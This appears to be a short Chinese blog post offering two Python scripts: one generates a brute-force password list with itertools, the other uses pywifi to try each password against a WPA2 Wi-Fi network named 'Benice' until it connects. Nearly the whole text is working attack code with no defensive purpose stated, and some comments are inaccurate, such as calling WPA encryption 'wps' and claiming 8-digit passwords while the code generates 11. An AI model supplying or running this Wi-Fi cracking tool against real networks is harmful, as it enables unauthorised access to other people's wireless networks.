利用python,生成笛卡尔积

python itertools模块详解
pywifi提供了一个跨平台的python模块来操作无线网络接口

这几天了解到这两个py模块，主要用itertools生成笛卡尔积组合，用pywifi进行尝试

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


# 测试连接，返回链接结果
def wifiConnect(pwd):
    # Grab NIC interface
    wifi = pywifi.PyWiFi()
    # Get your first wireless card
    ifaces = wifi.interfaces()[0]
    # Disconnect all connections
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # Create a WiFi connection file
        profile = pywifi.Profile()
        # The name of the WiFi to connect to
        profile.ssid = "Benice"

        # The open status of the NIC
        profile.auth = const.AUTH_ALG_OPEN
        # wifi encryption algorithm, the general wifi encryption algorithm is wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # Encryption unit
        profile.cipher = const.CIPHER_TYPE_CCMP
        # Call cipher
        profile.key = pwd
        # Delete all connected wifi files
        ifaces.remove_all_network_profiles()
        # Set a new connection file
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi connect time
        time.sleep(1)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("Existing wifi connection")


def readPassword():
    print("start:")
    # password root
    path = "pwd.txt"
    # open file
    file = open(path, "r")

    while True:
        try:
            pad = file.readline()
            print("try： ", pad)
            bool = wifiConnect(pad)

            if bool:
                print("password ok ： ", pad)
                print("is connect！！！")
                break
        except:
            continue


start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("use time：{}".format(end - start))

import itertools as its
import datetime

# 记录程序运行时间
start = datetime.datetime.now()


# words = '1234567890abcdefghijklmnopqrstuvwxyz'  # 这里可以加入字母和其他字符，使用string包更方便
words = '8bnx'  # 这里可以加入字母和其他字符，使用string包更方便

# 生成密码的位数
r = its.product(words, repeat=11)  # 密码位数为8
dic = open("pwd.txt", 'a')
for i in r:
    # pass
    dic.write(''.join(i) + '\n')

dic.close()
print('password book is ok')
end = datetime.datetime.now()
print("use time：{}".format(end - start))